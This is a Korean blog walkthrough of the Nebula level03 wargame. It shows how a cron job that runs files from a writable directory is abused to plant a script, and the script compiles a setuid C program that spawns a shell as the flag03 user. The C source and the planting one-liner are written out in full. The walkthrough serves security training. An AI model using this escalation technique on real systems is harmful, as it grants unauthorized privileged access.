https://exploit-exercises.com/nebula/level03/
level03 문제이다. 해당 링크에서 문제를 확인해보자.
flag03 의 홈 디렉토리를 확인해보라.
그 곳에는 crontab 을 통해 몇 분마다 실행되는 파일이 존재한다.
ID : level03 P/W : level03 으로 로그인 후에 문제를 해결하라.
해당 문제는 소스코드가 제공되지 않는다.
로그인 후에 /home/flag03/ 디렉토리를 확인해 보았다.
실행 권한이 있는 디렉토리와 쉘 스크립트 파일이 존재했다.
writable.sh
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
/home/flag03/writable.d/ 에 존재하는 파일들을 실행하지만
프로세스당 5만큼 CPU 타임을 사용하며 해당 파일을 bash -x로 실행시킵니다.
이 문제를 해결하기 위해서 writable.d 경로에 공격을 수행할 실행 파일을 넣고,
crontab에 의해 그 파일이 실행되기만을 기다리면 된다.
여기서 공격을 수행할 실행 파일은
shell을 획득할 수 있는 프로그램을 만드는 프로그램을 writable.d 디렉토리에 생성시킬 것이다.
위의 과정을 실행할 경우 crontab -> writable.sh -> 공격 파일이 실행된다.
그렇게 되면 shell을 획득할 수 있는 프로그램이 생성될 것이다.
먼저 shell을 획득할 수 있는 프로그램의 소스를 생성하겠다.
그 전에 flag03의 uid, gid를 확인하겠다.
/etc/passwd에 있는 내용을 확인하여 flag03의 uid와 gid는 996인 것을 확인할 수 있다.
#include <stdio.h> int main(){ setresuid(996, 996, 996); setresgid(996, 996, 996); system("/bin/sh"); return 0; }
이제 해당 소스를 컴파일해서 shell을 실행하는 프로그램을 만들도록 하는
실행 파일을 writable.d 디렉토리에 만들 것이다.
level03@nebula:/home/flag03$ python -c 'print "gcc -o /home/flag03/pwn /tmp/level03.c;chmod 4755 /home/flag03/pwn"' > /home/flag03/writable.d/executable; chmod +x /home/flag03/writable.d/executable
해당 명령어를 실행하면 writable.d 디렉토리에 실행 권한이 있는 executable 이라는 실행 파일이 생성된다.
그 후 crontab 명령어에 의해서 writable.d 디렉토리 안에 있던 execuatble이라는 파일이 실행되면서
/home/flag03/ 디렉토리에 pwn이라는 setuid가 설정된 shell을 실행할 수 있는 파일이 생성된다.
이 후 실행한 뒤 id를 확인하면 flag03의 uid인 996으로 바뀐 것을 확인할 수 있다.
'Wargame > Exploit Exercises Nebula' 카테고리의 다른 글
Exploit Exercises Nebula Level04 (0) | 2017.04.03 |
---|---|
Exploit Exercises Nebula Level02 (0) | 2017.03.31 |
Exploit Exercises Nebula Level01 (0) | 2017.02.08 |
Exploit Exercises Nebula Level00 (0) | 2016.12.29 |